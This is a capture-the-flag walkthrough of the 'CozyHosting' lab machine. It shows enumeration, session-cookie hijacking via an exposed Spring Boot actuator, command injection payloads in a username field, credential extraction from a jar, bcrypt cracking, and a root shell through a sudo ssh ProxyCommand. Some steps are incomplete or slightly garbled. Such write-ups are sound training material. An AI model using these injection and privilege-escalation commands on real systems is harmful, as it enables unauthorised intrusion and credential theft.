CozyHosting

Enumeration

Let's start by enumerating all TCP ports with nmap.
nmap -sCV -p- --min-rate 1000 -T4 10.10.11.230
Pasted image 20240830114818.png
We see SSH (port 22) and nginx with 1.80.0 version. I went to http://10.10.11.230 but got redirected to http://cozyhosting.htb/, so let's add cozyhosting.htb to /etc/hosts with the target IP.
echo '10.10.11.230 cozyhosting.htb' | sudo tee -a /etc/hosts
Pasted image 20240830115103.png

Port 80

http://cozyhosting.htb
Pasted image 20240830115630.png
There wasn’t anything interesting, so I tried to find hidden subdirectories with gobuster.

Gobuster

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -u http://cozyhosting.htb/ -x php -b 200,403,404
Pasted image 20240830120031.png
I found a /admin subdirectory which redirects me to the login page.
http://cozyhosting.htb/login
Pasted image 20240830120133.png
Upon accessing the /login page and attempting to authenticate with common credentials, I was unable to gain access to the application.

Browsing to /error returns an error page with a header stating Whitelabel Error Page. Researching this error reveals that this application is using Spring Boot.
http://cozyhosting.htb/error
Pasted image 20240830121245.png

Now I will use dirsearch to find more information about subdirectories.

Dirsearch

dirsearch -u http://cozyhosting.htb -e php --exclude-sizes 0
Pasted image 20240830120940.png
Pasted image 20240830121008.png
I could use /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt specific wordlist, but I ended up using dirsearch’s default wordlist, and I found the /actuator subdirectory which is mainly used for debugging purposes in Spring Boot applications.

Foothold - CozyHosting

After searching more for actuator meaning on Google, I found out that the Spring Boot actuator module provides a collection of built-in endpoints that expose different types of information and operations on an application.

I checked every /actuator subdirectory and found /actuator/mappings containing the structure of the application.
http://cozyhosting.htb/actuator/mappings
Pasted image 20240830121756.png
On this page, I noticed a /actuator/sessions, which, when I checked, showed the current sessions running.
http://cozyhosting.htb/actuator/sessions
Pasted image 20240830122017.png
By using a curl command, we could also see kanderson's cookie ID as well.
curl -s http://cozyhosting.htb/actuator/sessions | jq .

Now we have a cookie ID EDA00E8504150C5ABF42F621A9F1D908 and a username kanderson, which we can add to our developer console's Storage tab by typing F12 > Storage > Cookies and replacing JSESSIONID with this ID.
Pasted image 20240830122320.png

Now if we go to the /admin subdirectory, we will have the current session of this user.
http://cozyhosting.htb/admin
Pasted image 20240830122808.png

On the page below, I tried to input my hostname and any name, and it showed an interesting message saying that we tried to do an SSH connection but it failed.
Pasted image 20240830123051.png

To analyze this better, I initiated Burp Suite and saw the type of request that was made.
Pasted image 20240830123213.png
It does an execute ssh function, so I tried to add localhost instead of my IP, and it was denied, saying a different message: "Host Key verification failed."
Pasted image 20240830123418.png
It means the function is running ssh -i key username@hostname, so I tested for command injection vulnerabilities.

host=127.0.0.1; ping -c 1 10.10.14.12
Pasted image 20240830123659.png
It appeared Invalid hostname, which means there is a filter on it, so I tried to inject in the username field this time.

username=Ivo; ping -c 1 10.10.14.12
Pasted image 20240830123849.png
Now it appears "Username can't contain whitespaces!", so I used **{IFS}**, a Bash environment variable that represents a space. ![Pasted image 20240830124119.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240830124119.png) This time it worked but showed the message: "**Could not resolve hostname ivoclib: Temporary failure in name resolutionping: 10.10.14.12@127.0.0.1: Name or service not known**," which means that it's reading and executing the command. I added a `#` comment to finalize and tested if I could get a ping connection with `tcpdump`. `tcpdump -ni tun0 icmp` `0xdf;ping{IFS}-cIFS1{IFS}10.10.14.12;#or0xdf;{ping -c 1 10.10.14.12};`
Pasted image 20240830124919.png
Pasted image 20240830124956.png
The command injection worked using the brace expansion method.

Lateral Movement

Let's upgrade the shell to a TTY shell.
python3 -c 'import pty;pty.spawn("/bin/bash");'
Pasted image 20240830142116.png
Now, if we look around in this directory, we found a jar file called loudhosting-0.0.1.jar. So, let's unzip it and see its content, where I found some credentials in /tmp/app/BOOT-INF/classes/application.properties file.
unzip -d /tmp/app cloudhosting-0.0.1.jar cd /tmp/app cd BOOT-INF cat application.properties
Pasted image 20240830142712.png

POSTGRESQL DB

Now, let's use psql to access the POSTGRESQL database with postgres:Vg&nvzAQ7XxR credentials.
psql -h 127.0.0.1 -U postgres
Vg&nvzAQ7XxR
Pasted image 20240830142906.png

Postgresql

Listing all the available databases, we observe the presence of the cozyhosting database.
\list
Pasted image 20240830143006.png
Let's try to connect to the cozyhosting database and see its content.
\connect cozyhosting
Pasted image 20240830143101.png
\dt
Pasted image 20240830143155.png
Let's use a SELECT statement to view all the data present in the users table.
select * from users;
Pasted image 20240830143240.png
We have 2 hashes for kanderson and admin users, so let's first identify the hash itself and try to crack it.
hashid '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
Pasted image 20240830143456.png
We now know the hashes are bcrypt, so let's use hashcat to crack them.
hashcat admihash -m 3200 /usr/share/wordlists/rockyou.txt
Pasted image 20240830143853.png
We now have manchesterunited as the password from the admin hash. I tried to crack kanderson's password hash but without success. Afterward, I saw the users from the target machine and noticed a josh user in the /home directory.
cd /home ls
Pasted image 20240830144325.png
Let's try to use the password we found and access it by SSH.
ssh josh@10.10.11.230
manchesterunited
Pasted image 20240830144519.png
Let's get the user flag.
ls
Pasted image 20240830144620.png

Privilege Escalation

I first checked the commands I could use as sudo without needing to provide a password, and it showed the /usr/bin/ssh command.
sudo -l
Pasted image 20240830144753.png
I found a way to get root privileges with this command on this link, so I used it to get a root shell and then obtained the root flag.
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
id
Pasted image 20240830145045.png
ls
Pasted image 20240830145031.png